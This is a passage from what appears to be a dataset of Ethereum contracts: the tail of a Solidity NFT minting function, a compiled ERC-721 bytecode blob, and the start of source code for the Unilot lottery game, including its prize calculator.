address(0)); if(msg.sender != author) { require (itemsIndex < totalSupply() - 100); require(msg.value >= 0.05 ether); author.transfer(msg.value); } _owners[itemsIndex] = msg.sender; _balances[msg.sender]++; itemsRemainingToAssign--; emit AssignItems(itemsIndex, msg.sender); emit Transfer(address(0), msg.sender, itemsIndex); } }
0x6080604052600436106102885760003560e01c8063951e92d81161015a578063b88d4fde116100c1578063e2c432771161007a578063e2c43277146107a3578063e985e9c5146107c3578063ec04dc3c146107e3578063edc3bc3f14610803578063f3f4370314610823578063f938cc201461084357610288565b8063b88d4fde146106de578063bdf83132146106fe578063c87b56dd1461072e578063ce5bec5a1461074e578063d28d88521461076e578063e29a618b1461078357610288565b8063a3b7b10a11610113578063a3b7b10a1461063d578063a6c3e6b914610650578063a7cc013614610665578063a8ef6a6f14610685578063a9059cbb146106a9578063b09f1266146106c957610288565b8063951e92d81461057957806395d89b4114610599578063975d8361146105ae578063992924a6146105dd5780639a937119146105fd578063a22cb4651461061d57610288565b806345cf4673116101fe5780636352211e116101b75780636352211e146104d15780636c0360eb146104f15780636ebcf6071461050657806370a0823114610526578063796c5e94146105465780637ea208b51461055957610288565b806345cf4673146104065780634b4ddfa61461042b57806355f804b31461045c5780635a00600c1461047c5780635bca55b21461049e578063631f6d07146104be57610288565b8063162094c411610250578063162094c41461035a57806318160ddd1461037a57806323b872dd1461039c5780633ccfd60b146103bc5780633eaaf86b146103d157806342842e0e146103e657610288565b806301ffc9a71461028d578063058505c7146102c357806306fdde03146102e9578063081812fc1461030b578063095ea7b314610338575b600080fd5b34801561029957600080fd5b506102ad6102a836600461302a565b610858565b6040516102ba9190613468565b60405180910390f35b3480156102cf57600080fd5b506102d861087b565b6040516102ba9594939291906133c2565b3480156102f557600080fd5b506102fe610b42565b6040516102ba91906134c7565b34801561031757600080fd5b5061032b610326366004613094565b610b67565b6040516102ba9190613311565b34801561034457600080fd5b50610358610353366004612fa1565b610b82565b005b34801561036657600080fd5b506103586103753660046130ac565b610bdf565b34801561038657600080fd5b5061038f610c15565b6040516102ba91906135a9565b3480156103a857600080fd5b506103586103b7366004612eb4565b610c1b565b3480156103c857600080fd5b50610358610c39565b3480156103dd57600080fd5b5061038f610c7e565b3480156103f257600080fd5b50610358610401366004612eb4565b610c84565b34801561041257600080fd5b5061041b610c9f565b6040516102ba9493929190613375565b34801561043757600080fd5b5061044b610446366004613094565b610ecd565b6040516102ba959493929190613499565b34801561046857600080fd5b50610358610477366004613062565b610f0b565b34801561048857600080fd5b50610491610f35565b6040516102ba9190613362565b3480156104aa57600080fd5b506103586104b936600461314f565b610fe4565b6103586104cc366004613094565b6110e6565b3480156104dd57600080fd5b5061032b6104ec366004613094565b611380565b3480156104fd57600080fd5b506102fe61139b565b34801561051257600080fd5b5061038f610521366004612e68565b611430565b34801561053257600080fd5b5061038f610541366004612e68565b611442565b610358610554366004613094565b61145d565b34801561056557600080fd5b50610358610574366004612fca565b61158b565b34801561058557600080fd5b50610358610594366004613094565b6115e7565b3480156105a557600080fd5b506102fe6116d3565b3480156105ba57600080fd5b506105ce6105c9366004613094565b6116f2565b6040516102ba939291906135b2565b3480156105e957600080fd5b5061032b6105f8366004613094565b61182b565b34801561060957600080fd5b506103586106183660046130e6565b611846565b34801561062957600080fd5b50610358610638366004612f67565b61197e565b61035861064b366004613094565b611a33565b34801561065c57600080fd5b5061032b611bcb565b34801561067157600080fd5b5061032b610680366004613094565b611bda565b34801561069157600080fd5b5061069a611bf5565b6040516102ba9392919061342f565b3480156106b557600080fd5b506103586106c4366004612fa1565b611ebd565b3480156106d557600080fd5b506102fe611ec8565b3480156106ea57600080fd5b506103586106f9366004612eef565b611ee9565b34801561070a57600080fd5b5061071e610719366004613094565b611f08565b6040516102ba9493929190613473565b34801561073a57600080fd5b506102fe610749366004613094565b611f3f565b34801561075a57600080fd5b5061035861076936600461314f565b61205d565b34801561077a57600080fd5b506102fe612397565b34801561078f57600080fd5b5061035861079e366004613094565b6123be565b3480156107af57600080fd5b506103586107be366004612eb4565b612553565b3480156107cf57600080fd5b506102ad6107de366004612e82565b612747565b3480156107ef57600080fd5b506103586107fe366004613170565b612775565b34801561080f57600080fd5b506102ad61081e366004612e82565b61287f565b34801561082f57600080fd5b5061038f61083e366004612e68565b61289f565b34801561084f57600080fd5b5061038f6128b1565b6001600160e01b0319811660009081526020819052604090205460ff165b919050565b6060806060806060600061088d610c15565b6001600160401b03811180156108a257600080fd5b506040519080825280602002602001820160405280156108cc578160200160208202803683370190505b50905060006108d9610c15565b6001600160401b03811180156108ee57600080fd5b50604051908082528060200260200182016040528015610918578160200160208202803683370190505b5090506000610925610c15565b6001600160401b038111801561093a57600080fd5b50604051908082528060200260200182016040528015610964578160200160208202803683370190505b5090506000610971610c15565b6001600160401b038111801561098657600080fd5b506040519080825280602002602001820160405280156109b0578160200160208202803683370190505b50905060006109bd610c15565b6001600160401b03811180156109d257600080fd5b506040519080825280602002602001820160405280156109fc578160200160208202803683370190505b50905060005b610a0a610c15565b811015610b3057600081815260086020526040902054865160ff90911690879083908110610a3457fe5b9115156020928302919091018201526000828152600890915260409020600101548551869083908110610a6357fe5b60209081029190910181019190915260008281526008909152604090206002015484516001600160a01b0390911690859083908110610a9e57fe5b6001600160a01b039092166020928302919091018201526000828152600890915260409020600301548351849083908110610ad557fe5b60209081029190910181019190915260008281526008909152604090206004015482516001600160a01b0390911690839083908110610b1057fe5b6001600160a01b0390921660209283029190910190910152600101610a02565b50939992985090965094509092509050565b60408051808201909152600b81526a43727970746f546962696160a81b602082015290565b6000908152600c60205260409020546001600160a01b031690565b6000818152600760205260409020546001600160a01b03908116908316811415610bab57600080fd5b336001600160a01b0382161480610bc75750610bc78133612747565b610bd057600080fd5b610bda83836128b7565b505050565b6002546001600160a01b03163314610bf657600080fd5b60008281526005602090815260409091208251610bda92840190612cc5565b60035490565b610c253382612964565b610c2e57600080fd5b610bda838383612553565b336000818152600b6020526040808220805490839055905190929183156108fc02918491818181858888f19350505050158015610c7a573d6000803e3d6000fd5b5050565b60035481565b610bda83838360405180602001604052806000815250611ee9565b6060806060806000610caf610c15565b6001600160401b0381118015610cc457600080fd5b50604051908082528060200260200182016040528015610cee578160200160208202803683370190505b5090506000610cfb610c15565b6001600160401b0381118015610d1057600080fd5b50604051908082528060200260200182016040528015610d3a578160200160208202803683370190505b5090506000610d47610c15565b6001600160401b0381118015610d5c57600080fd5b50604051908082528060200260200182016040528015610d86578160200160208202803683370190505b5090506000610d93610c15565b6001600160401b0381118015610da857600080fd5b50604051908082528060200260200182016040528015610dd2578160200160208202803683370190505b50905060005b610de0610c15565b811015610ebe57600081815260096020526040902054855160ff90911690869083908110610e0a57fe5b9115156020928302919091018201526000828152600990915260409020600101548451859083908110610e3957fe5b60209081029190910181019190915260008281526009909152604090206002015483516001600160a01b0390911690849083908110610e7457fe5b6001600160a01b039092166020928302919091018201526000828152600990915260409020600301548251839083908110610eab57fe5b6020908102919091010152600101610dd8565b50929791965094509092509050565b6008602052600090815260409020805460018201546002830154600384015460049094015460ff9093169391926001600160a01b0391821692911685565b6002546001600160a01b03163314610f2257600080fd5b8051610c7a906001906020840190612cc5565b60606000610f41610c15565b6001600160401b0381118015610f5657600080fd5b50604051908082528060200260200182016040528015610f80578160200160208202803683370190505b50905060005b610f8e610c15565b811015610fde5760008181526007602052604090205482516001600160a01b0390911690839083908110610fbe57fe5b6001600160a01b0390921660209283029190910190910152600101610f86565b50905090565b6000828152600760205260409020546001600160a01b0316331461100757600080fd5b61100f610c15565b821061101a57600080fd5b6040805160a0810182526001808252602080830186815233848601908152606085018781526000608087018181528a825260089095528781209651875460ff1916901515178755925194860194909455516002850180546001600160a01b03199081166001600160a01b03938416179091559351600386015591516004909401805490931693909116929092179055905183907fa13350ddc5569fe4bbe9f2f457fbd3782a31a345f15d24014be1e0cd3aaf54b6906110da9085906135a9565b60405180910390a35050565b600081815260086020908152604091829020825160a081018452815460ff161515815260018201549281019290925260028101546001600160a01b03908116938301939093526003810154606083015260040154909116608082015261114a610c15565b821061115557600080fd5b805161116057600080fd5b60808101516001600160a01b03161580611186575060808101516001600160a01b031633145b61118f57600080fd5b80606001513410156111a057600080fd5b6000828152600760205260409081902054908201516001600160a01b039081169116146111cc57600080fd5b60408082015160008481526007602090815283822080546001600160a01b031916339081179091556001600160a01b0384168084526006909252848320805460001901905580835284832080546001019055935192938693909260008051602061367883398151915291a4611240836115e7565b6001600160a01b0381166000818152600b602052604090819020805434908101909155905133929186917f328ec52170618871a530d43dd7b2bdcd1d612d7f1d913ab65bae748959326e1791611295916135a9565b60405180910390a46000838152600960209081526040918290208251608081018452815460ff161515815260018201549281019290925260028101546001600160a01b03169282018390526003015460608201529033141561137a57606081810151336000908152600b60209081526040808320805490940190935582516080810184528281528082018981528185018481529582018481528a85526009909352939092209151825460ff19169015151782559151600182015591516002830180546001600160a01b0319166001600160a01b03909216919091179055516003909101555b50505050565b6000908152600760205260409020546001600160a01b031690565b60018054604080516020601f600260001961010087891615020190951694909404938401819004810282018101909252828152606093909290918301828280156114265780601f106113fb57610100808354040283529160200191611426565b820191906000526020600020905b81548152906001019060200180831161140957829003601f168201915b5050505050905090565b60066020526000908152604090205481565b6001600160a01b031660009081526006602052604090205490565b60045461146957600080fd5b6000818152600760205260409020546001600160a01b03161561148b57600080fd5b6002546001600160a01b031633146115025760646114a7610c15565b0381106114b357600080fd5b66b1a2bc2ec500003410156114c757600080fd5b6002546040516001600160a01b03909116903480156108fc02916000818181858888f19350505050158015611500573d6000803e3d6000fd5b505b600081815260076020908152604080832080546001600160a01b031916339081179091558084526006909252808320805460010190556004805460001901905551909183917f280f9717449438731f0ae2e69b78dc73cc23b9fdda0e8e1b216640328bf137d89190a360405181903390600090600080516020613678833981519152908290a450565b6002546001600160a01b031633146115a257600080fd5b815160005b8181101561137a576115df8482815181106115be57fe5b60200260200101518483815181106115d257fe5b6020026020010151610fe4565b6001016115a7565b6000818152600760205260409020546001600160a01b0316331461160a57600080fd5b611612610c15565b811061161d57600080fd5b6040805160a0810182526000808252602080830185815233848601908152606085018481526080860185815288865260089094528685209551865460ff191690151517865591516001860155516002850180546001600160a01b03199081166001600160a01b0393841617909155915160038601559151600490940180549091169390911692909217909155905182917f2d6d0ac30de0a16372c0a990697d22e1315c51921ee1c8c42cda7044885406cb91a250565b604080518082019091526005815264544942494160d81b602082015290565b600a602090815260009182526040918290208054600180830180548651600293821615610100026000190190911692909204601f81018690048602830186019096528582529194929390929083018282801561178f5780601f106117645761010080835404028352916020019161178f565b820191906000526020600020905b81548152906001019060200180831161177257829003601f168201915b50505060028085018054604080516020601f60001961010060018716150201909416959095049283018590048502810185019091528181529596959450909250908301828280156118215780601f106117f657610100808354040283529160200191611821565b820191906000526020600020905b81548152906001019060200180831161180457829003601f168201915b5050505050905083565b6007602052600090815260409020546001600160a01b031681565b61184e610c15565b831061185957600080fd5b6000838152600760205260409020546001600160a01b031633148061188857506002546001600160a01b031633145b61189157600080fd5b6002546001600160a01b031633141561190c576040805160608101825284815260208082018581528284018590526000878152600a83529390932082518155925180519293926118e79260018501920190612cc5565b5060408201518051611903916002840191602090910190612cc5565b50905050610bda565b604080516060810182528481528151602081810184526000808352818401928352838501869052878152600a82529390932082518155905180519293919261195a9260018501920190612cc5565b5060408201518051611976916002840191602090910190612cc5565b505050505050565b6001600160a01b03821633141561199457600080fd5b336000818152600d602090815260408083206001600160a01b0387168085529252808320805460ff19168615159081179091559051909391927f63dbdd9bb5c3f424d82a09776196a01cd12404ec9965495db95606aca3982edf91a4816001600160a01b0316336001600160a01b03167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31836040516110da9190613468565b611a3b610c15565b8110611a4657600080fd5b6000818152600760205260409020546001600160a01b0316611a6757600080fd5b6000818152600760205260409020546001600160a01b0316331415611a8b57600080fd5b34611a9557600080fd5b6000818152600960209081526040918290208251608081018452815460ff161515815260018201549281019290925260028101546001600160a01b031692820192909252600390910154606082018190523411611af157600080fd5b606081015115611b225760608101516040808301516001600160a01b03166000908152600b60205220805490910190555b604080516080810182526001808252602080830186815233848601818152346060870181815260008b81526009909652948890209651875460ff191690151517875592519486019490945592516002850180546001600160a01b0319166001600160a01b039092169190911790559051600390930192909255915184917f1c23eba59b41c80398a8c9c0829f604d52dc6e5f0a67bab4ecff50606922f3fa916110da91906135a9565b6002546001600160a01b031681565b600c602052600090815260409020546001600160a01b031681565b60608060606000611c04610c15565b6001600160401b0381118015611c1957600080fd5b50604051908082528060200260200182016040528015611c43578160200160208202803683370190505b5090506000611c50610c15565b6001600160401b0381118015611c6557600080fd5b50604051908082528060200260200182016040528015611c9957816020015b6060815260200190600190039081611c845790505b5090506000611ca6610c15565b6001600160401b0381118015611cbb57600080fd5b50604051908082528060200260200182016040528015611cef57816020015b6060815260200190600190039081611cda5790505b50905060005b611cfd610c15565b811015611eb0576000818152600a60205260409020548451859083908110611d2157fe5b602002602001018181525050600a60008281526020019081526020016000206001018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611dd75780601f10611dac57610100808354040283529160200191611dd7565b820191906000526020600020905b815481529060010190602001808311611dba57829003601f168201915b5050505050838281518110611de857fe5b6020908102919091018101919091526000828152600a82526040908190206002908101805483516001821615610100026000190190911692909204601f81018590048502830185019093528282529092909190830182828015611e8c5780601f10611e6157610100808354040283529160200191611e8c565b820191906000526020600020905b815481529060010190602001808311611e6f57829003601f168201915b5050505050828281518110611e9d57fe5b6020908102919091010152600101611cf5565b5091945092509050909192565b610c7a338383612553565b60405180604001604052806005815260200164544942494160d81b81525081565b611ef33383612964565b611efc57600080fd5b61137a848484846129bf565b600960205260009081526040902080546001820154600283015460039093015460ff9092169290916001600160a01b039091169084565b600081815260056020908152604080832080548251601f6002600019610100600186161502019093169290920491820185900485028101850190935280835260609493830182828015611fd35780601f10611fa857610100808354040283529160200191611fd3565b820191906000526020600020905b815481529060010190602001808311611fb657829003601f168201915b505050505090506000611fe461139b565b9050805160001415611ff857509050610876565b81511561202a5780826040516020016120129291906132e2565b60405160208183030381529060405292505050610876565b80612034856129fb565b6040516020016120459291906132e2565b60405160208183030381529060405292505050919050565b612065610c15565b821061207057600080fd5b6000828152600760205260409020546001600160a01b0316331461209357600080fd5b6000828152600960209081526040918290208251608081018452815460ff161515815260018201549281019290925260028101546001600160a01b031692820192909252600390910154606082018190523391906120f057600080fd5b828160600151101561210157600080fd5b6040818101805160008781526007602090815284822080546001600160a01b0319166001600160a01b03948516179055868316808352600690915284822080546000190190558351831682528482208054600101905592519351889490921692916000805160206136788339815191529190a46040518060a0016040528060001515815260200185815260200182604001516001600160a01b031681526020016000815260200160006001600160a01b03168152506008600086815260200190815260200160002060008201518160000160006101000a81548160ff0219169083151502179055506020820151816001015560408201518160020160006101000a8154816001600160a01b0302191690836001600160a01b031602179055506060820151816003015560808201518160040160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550905050600081606001519050604051806080016040528060001515815260200186815260200160006001600160a01b0316815260200160008152506009600087815260200190815260200160002060008201518160000160006101000a81548160ff0219169083151502179055506020820151816001015560408201518160020160006101000a8154816001600160a01b0302191690836001600160a01b031602179055506060820151816003015590505080600b6000856001600160a01b03166001600160a01b031681526020019081526020016000206000828254019250508190555081604001516001600160a01b0316836001600160a01b0316867f328ec52170618871a530d43dd7b2bdcd1d612d7f1d913ab65bae748959326e17856060015160405161238891906135a9565b60405180910390a45050505050565b6040518060400160405280600b81526020016a43727970746f546962696160a81b81525081565b6123c6610c15565b81106123d157600080fd5b6000818152600760205260409020546001600160a01b03166123f257600080fd5b6000818152600760205260409020546001600160a01b031633141561241657600080fd5b6000818152600960209081526040918290208251608081018452815460ff161515815260018201549281019290925260028101546001600160a01b031692820183905260030154606082015290331461246e57600080fd5b336001600160a01b0316827ffccd5e50f59ee9676f56a08c56d31a3ee8b667b8108ac96008ca7bf06927f67783606001516040516124ac91906135a9565b60405180910390a3606081810151604080516080810182526000808252602080830188815283850183815296840183815289845260099092528483209351845460ff191690151517845551600184015594516002830180546001600160a01b0319166001600160a01b03909216919091179055935160039091015551909133916108fc84150291849190818181858888f1935050505015801561137a573d6000803e3d6000fd5b6000818152600760205260409020546001600160a01b0384811691161461257957600080fd5b612581610c15565b811061258c57600080fd5b60008181526008602052604090205460ff16156125ac576125ac816115e7565b6125b76000826128b7565b600081815260076020908152604080832080546001600160a01b0319166001600160a01b0387811691821790925590871680855260069093528184208054600019019055808452818420805460010190559051849391929160008051602061367883398151915291a4816001600160a01b0316836001600160a01b0316827fc725e6ae8947980cbd6e364860f6b1c618f5d06d227fa05615b64222f620bee560405160405180910390a46000818152600960209081526040918290208251608081018452815460ff161515815260018201549281019290925260028101546001600160a01b0390811693830184905260039091015460608301529091908416141561137a576060908101516001600160a01b039384166000908152600b60209081526040808320805490940190935582516080810184528281528082018681528185018481529582018481529684526009909252929091209151825460ff191690151517825551600182015590516002820180546001600160a01b03191691909416179092555160039091015550565b6001600160a01b039182166000908152600d6020908152604080832093909416825291909152205460ff1690565b6000838152600760205260409020546001600160a01b0316331461279857600080fd5b6127a0610c15565b83106127ab57600080fd5b6040805160a0810182526001808252602080830187815233848601908152606085018881526001600160a01b038881166080880181815260008d81526008909752958990209751885490151560ff1990911617885593519587019590955590516002860180549186166001600160a01b0319928316179055905160038601559151600490940180549490931693909116929092179055905184907fa13350ddc5569fe4bbe9f2f457fbd3782a31a345f15d24014be1e0cd3aaf54b6906128729086906135a9565b60405180910390a3505050565b600d60209081526000928352604080842090915290825290205460ff1681565b600b6020526000908152604090205481565b60045481565b6000818152600c6020908152604080832080546001600160a01b0319166001600160a01b038781169182179092556007909352818420549151929391169184917fe1947b9751bdc5451e552c5dc97153c546efda7592701cef742b0212239e1b3991a460008181526007602052604080822054905183926001600160a01b038087169316917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259190a45050565b6000818152600760205260408120546001600160a01b039081169084168114806129a75750836001600160a01b031661299c84610b67565b6001600160a01b0316145b806129b757506129b78185612747565b949350505050565b6129ca848484612553565b6129d684848484612ad5565b61137a5760405162461bcd60e51b81526004016129f2906134da565b60405180910390fd5b606081612a2057506040805180820190915260018152600360fc1b6020820152610876565b8160005b8115612a3857600101600a82049150612a24565b6000816001600160401b0381118015612a5057600080fd5b506040519080825280601f01601f191660200182016040528015612a7b576020820181803683370190505b50859350905060001982015b8315612acc57600a840660300160f81b82828060019003935081518110612aaa57fe5b60200101906001600160f81b031916908160001a905350600a84049350612a87565b50949350505050565b6000612ae9846001600160a01b0316612bad565b612af5575060016129b7565b6000612b7663150b7a0260e01b33888787604051602401612b199493929190613325565b604051602081830303815290604052906001600160e01b0319166020820180516001600160e01b038381831617835250505050604051806060016040528060328152602001613646603291396001600160a01b0388169190612bb3565b9050600081806020019051810190612b8e9190613046565b6001600160e01b031916630a85bd0160e11b1492505050949350505050565b3b151590565b6060612bc28484600085612bcc565b90505b9392505050565b606082471015612bee5760405162461bcd60e51b81526004016129f29061352c565b612bf785612bad565b612c135760405162461bcd60e51b81526004016129f290613572565b600080866001600160a01b03168587604051612c2f91906132c6565b60006040518083038185875af1925050503d8060008114612c6c576040519150601f19603f3d011682016040523d82523d6000602084013e612c71565b606091505b5091509150612c81828286612c8c565b979650505050505050565b60608315612c9b575081612bc5565b825115612cab5782518084602001fd5b8160405162461bcd60e51b81526004016129f291906134c7565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282612cfb5760008555612d41565b82601f10612d1457805160ff1916838001178555612d41565b82800160010185558215612d41579182015b82811115612d41578251825591602001919060010190612d26565b50612d4d929150612d51565b5090565b5b80821115612d4d5760008155600101612d52565b60006001600160401b03831115612d7957fe5b612d8c601f8401601f19166020016135dd565b9050828152838383011115612da057600080fd5b828260208301376000602084830101529392505050565b80356001600160a01b038116811461087657600080fd5b600082601f830112612dde578081fd5b813560206001600160401b03821115612df357fe5b808202612e018282016135dd565b838152828101908684018388018501891015612e1b578687fd5b8693505b85841015612e3d578035835260019390930192918401918401612e1f565b50979650505050505050565b600082601f830112612e59578081fd5b612bc583833560208501612d66565b600060208284031215612e79578081fd5b612bc582612db7565b60008060408385031215612e94578081fd5b612e9d83612db7565b9150612eab60208401612db7565b90509250929050565b600080600060608486031215612ec8578081fd5b612ed184612db7565b9250612edf60208501612db7565b9150604084013590509250925092565b60008060008060808587031215612f04578081fd5b612f0d85612db7565b9350612f1b60208601612db7565b92506040850135915060608501356001600160401b03811115612f3c578182fd5b8501601f81018713612f4c578182fd5b612f5b87823560208401612d66565b91505092959194509250565b60008060408385031215612f79578182fd5b612f8283612db7565b915060208301358015158114612f96578182fd5b809150509250929050565b60008060408385031215612fb3578182fd5b612fbc83612db7565b946020939093013593505050565b60008060408385031215612fdc578182fd5b82356001600160401b0380821115612ff2578384fd5b612ffe86838701612dce565b93506020850135915080821115613013578283fd5b5061302085828601612dce565b9150509250929050565b60006020828403121561303b578081fd5b8135612bc58161362c565b600060208284031215613057578081fd5b8151612bc58161362c565b600060208284031215613073578081fd5b81356001600160401b03811115613088578182fd5b6129b784828501612e49565b6000602082840312156130a5578081fd5b5035919050565b600080604083850312156130be578182fd5b8235915060208301356001600160401b038111156130da578182fd5b61302085828601612e49565b6000806000606084860312156130fa578081fd5b8335925060208401356001600160401b0380821115613117578283fd5b61312387838801612e49565b93506040860135915080821115613138578283fd5b5061314586828701612e49565b9150509250925092565b60008060408385031215613161578182fd5b50508035926020909101359150565b600080600060608486031215613184578081fd5b833592506020840135915061319b60408501612db7565b90509250925092565b6000815180845260208085019450808401835b838110156131dc5781516001600160a01b0316875295820195908201906001016131b7565b509495945050505050565b6000815180845260208085019450808401835b838110156131dc5781511515875295820195908201906001016131fa565b6000815180845260208085018081965082840281019150828601855b8581101561325e57828403895261324c84835161329a565b98850198935090840190600101613234565b5091979650505050505050565b6000815180845260208085019450808401835b838110156131dc5781518752958201959082019060010161327e565b600081518084526132b2816020860160208601613600565b601f01601f19169290920160200192915050565b600082516132d8818460208701613600565b9190910192915050565b600083516132f4818460208801613600565b835190830190613308818360208801613600565b01949350505050565b6001600160a01b0391909116815260200190565b6001600160a01b03858116825284166020820152604081018390526080606082018190526000906133589083018461329a565b9695505050505050565b600060208252612bc560208301846131a4565b60006080825261338860808301876131e7565b828103602084015261339a818761326b565b905082810360408401526133ae81866131a4565b90508281036060840152612c81818561326b565b600060a082526133d560a08301886131e7565b82810360208401526133e7818861326b565b905082810360408401526133fb81876131a4565b9050828103606084015261340f818661326b565b9050828103608084015261342381856131a4565b98975050505050505050565b600060608252613442606083018661326b565b82810360208401526134548186613218565b905082810360408401526133588185613218565b901515815260200190565b931515845260208401929092526001600160a01b03166040830152606082015260800190565b941515855260208501939093526001600160a01b039182166040850152606084015216608082015260a00190565b600060208252612bc5602083018461329a565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b60208082526026908201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6040820152651c8818d85b1b60d21b606082015260800190565b6020808252601d908201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604082015260600190565b90815260200190565b6000848252606060208301526135cb606083018561329a565b8281036040840152613358818561329a565b6040518181016001600160401b03811182821017156135f857fe5b604052919050565b60005b8381101561361b578181015183820152602001613603565b8381111561137a5750506000910152565b6001600160e01b03198116811461364257600080fd5b5056fe4552433732313a207472616e7366657220746f206e6f6e20455243373231526563656976657220696d706c656d656e746572ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220c9c29eca98d76d9c91c6fed8b8653969ad943ed820a92f06940952687f17bcb064736f6c63430007060033
{"success": true, "error": null, "results": {}}
71
0xc890b3450f273209cd19a11d4027e968bdd6f04e
pragma solidity ^0.4.18; interface Game { event GameStarted(uint betAmount); event NewPlayerAdded(uint numPlayers, uint prizeAmount); event GameFinished(address winner); function () public payable; //Participate in game. Proxy for play method function getPrizeAmount() public constant returns (uint); //Get potential or actual prize amount function getNumWinners() public constant returns(uint, uint); function getPlayers() public constant returns(address[]); //Get full list of players function getWinners() public view returns(address[] memory players, uint[] memory prizes); //Get winners. Accessable only when finished function getStat() public constant returns(uint, uint, uint); //Short stat on game function calcaultePrizes() public returns (uint[]); function finish() public; //Closes game chooses winner function revoke() public; //Stop game and return money to players // function move(address nextGame); //Move players bets to another game } library TicketLib { struct Ticket { uint40 block_number; uint32 block_time; uint prize; } } contract UnilotPrizeCalculator { //Calculation constants uint64 constant accuracy = 1000000000000000000; uint8 constant MAX_X_FOR_Y = 195; // 19.5 uint8 constant minPrizeCoeficent = 1; uint8 constant percentOfWinners = 5; // 5% uint8 constant percentOfFixedPrizeWinners = 20; // 20% uint8 constant gameCommision = 0; // 0% uint8 constant bonusGameCommision = 0; // 0% uint8 constant tokenHolerGameCommision = 0; // 0% // End Calculation constants event Debug(uint); function getPrizeAmount(uint totalAmount) public pure returns (uint result) { uint totalCommision = gameCommision + bonusGameCommision + tokenHolerGameCommision; //Calculation is odd on purpose. It is a sort of ceiling effect to // maximize amount of prize result = ( totalAmount - ( ( totalAmount * totalCommision) / 100) ); return result; } function getNumWinners(uint numPlayers) public pure returns (uint16 numWinners, uint16 numFixedAmountWinners) { // Calculation is odd on purpose. It is a sort of ceiling effect to // maximize number of winners uint16 totaNumlWinners = uint16( numPlayers - ( (numPlayers * ( 100 - percentOfWinners ) ) / 100 ) ); numFixedAmountWinners = uint16( (totaNumlWinners * percentOfFixedPrizeWinners) / 100 ); numWinners = uint16( totaNumlWinners - numFixedAmountWinners ); return (numWinners, numFixedAmountWinners); } function calcaultePrizes(uint bet, uint numPlayers) public pure returns (uint[50] memory prizes) { var (numWinners, numFixedAmountWinners) = getNumWinners(numPlayers); require( uint(numWinners + numFixedAmountWinners) <= prizes.length ); uint[] memory y = new uint[]((numWinners - 1)); uint z = 0; // Sum of all Y values if ( numWinners == 1 ) { prizes[0] = getPrizeAmount(uint(bet*numPlayers)); return prizes; } else if ( numWinners < 1 ) { return prizes; } for (uint i = 0; i < y.length; i++) { y[i] = formula( (calculateStep(numWinners) * i) ); z += y[i]; } bool stop = false; for (i = 0; i < 10; i++) { uint[5] memory chunk = distributePrizeCalculation( i, z, y, numPlayers, bet); for ( uint j = 0; j < chunk.length; j++ ) { if ( ( (i * chunk.length) + j ) >= ( numWinners + numFixedAmountWinners ) ) { stop = true; break; } prizes[ (i * chunk.length) + j ] = chunk[j]; } if ( stop ) { break; } } return prizes; } function distributePrizeCalculation (uint chunkNumber, uint z, uint[] memory y, uint totalNumPlayers, uint bet) private pure returns (uint[5] memory prizes) { var(numWinners, numFixedAmountWinners) = getNumWinners(totalNumPlayers); uint prizeAmountForDeligation = getPrizeAmount( (totalNumPlayers * bet) ); prizeAmountForDeligation -= uint( ( bet * minPrizeCoeficent ) * uint( numWinners + numFixedAmountWinners ) ); uint mainWinnerBaseAmount = ( (prizeAmountForDeligation * accuracy) / ( ( ( z * accuracy ) / ( 2 * y[0] ) ) + ( 1 * accuracy ) ) ); uint undeligatedAmount = prizeAmountForDeligation; uint startPoint = chunkNumber * prizes.length; for ( uint i = 0; i < prizes.length; i++ ) { if ( i >= uint(numWinners + numFixedAmountWinners) ) { break; } prizes[ i ] = (bet * minPrizeCoeficent); uint extraPrize = 0; if ( i == ( numWinners - 1 ) ) { extraPrize = undeligatedAmount; } else if ( i == 0 && chunkNumber == 0 ) { extraPrize = mainWinnerBaseAmount; } else if ( ( startPoint + i ) < numWinners ) { extraPrize = ( ( y[ ( startPoint + i ) - 1 ] * (prizeAmountForDeligation - mainWinnerBaseAmount) ) / z); } prizes[ i ] += extraPrize; undeligatedAmount -= extraPrize; } return prizes; } function formula(uint x) public pure returns (uint y) { y = ( (1 * accuracy**2) / (x + (5*accuracy/10))) - ((5 * accuracy) / 100); return y; } function calculateStep(uint numWinners) public pure returns(uint step) { step = ( MAX_X_FOR_Y * accuracy / 10 ) / numWinners; return step; } } contract BaseUnilotGame is Game { enum State { ACTIVE, ENDED, REVOKING, REVOKED, MOVED } event PrizeResultCalculated(uint size, uint[] prizes); State state; address administrator; uint bet; mapping (address => TicketLib.Ticket) internal tickets; address[] internal ticketIndex; UnilotPrizeCalculator calculator; //Modifiers modifier onlyAdministrator() { require(msg.sender == administrator); _; } modifier onlyPlayer() { require(msg.sender != administrator); _; } modifier validBet() { require(msg.value == bet); _; } modifier activeGame() { require(state == State.ACTIVE); _; } modifier inactiveGame() { require(state != State.ACTIVE); _; } modifier finishedGame() { require(state == State.ENDED); _; } //Private methods function getState() public view returns(State) { return state; } function getBet() public view returns (uint) { return bet; } function getPlayers() public constant returns(address[]) { return ticketIndex; } function getPlayerDetails(address player) public view inactiveGame returns (uint, uint, uint) { TicketLib.Ticket memory ticket = tickets[player]; return (ticket.block_number, ticket.block_time, ticket.prize); } function getNumWinners() public constant returns (uint, uint) { var(numWinners, numFixedAmountWinners) = calculator.getNumWinners(ticketIndex.length); return (numWinners, numFixedAmountWinners); } function getPrizeAmount() public constant returns (uint result) { uint totalAmount = this.balance; if ( state == State.ENDED ) { totalAmount = bet * ticketIndex.length; } result = calculator.getPrizeAmount(totalAmount); return result; } function getStat() public constant returns ( uint, uint, uint ) { var (numWinners, numFixedAmountWinners) = getNumWinners(); return (ticketIndex.length, getPrizeAmount(), uint(numWinners + numFixedAmountWinners)); } function calcaultePrizes() public returns(uint[] memory result) { var(numWinners, numFixedAmountWinners) = getNumWinners(); uint16 totalNumWinners = uint16( numWinners + numFixedAmountWinners ); result = new uint[]( totalNumWinners ); uint[50] memory prizes = calculator.calcaultePrizes( bet, 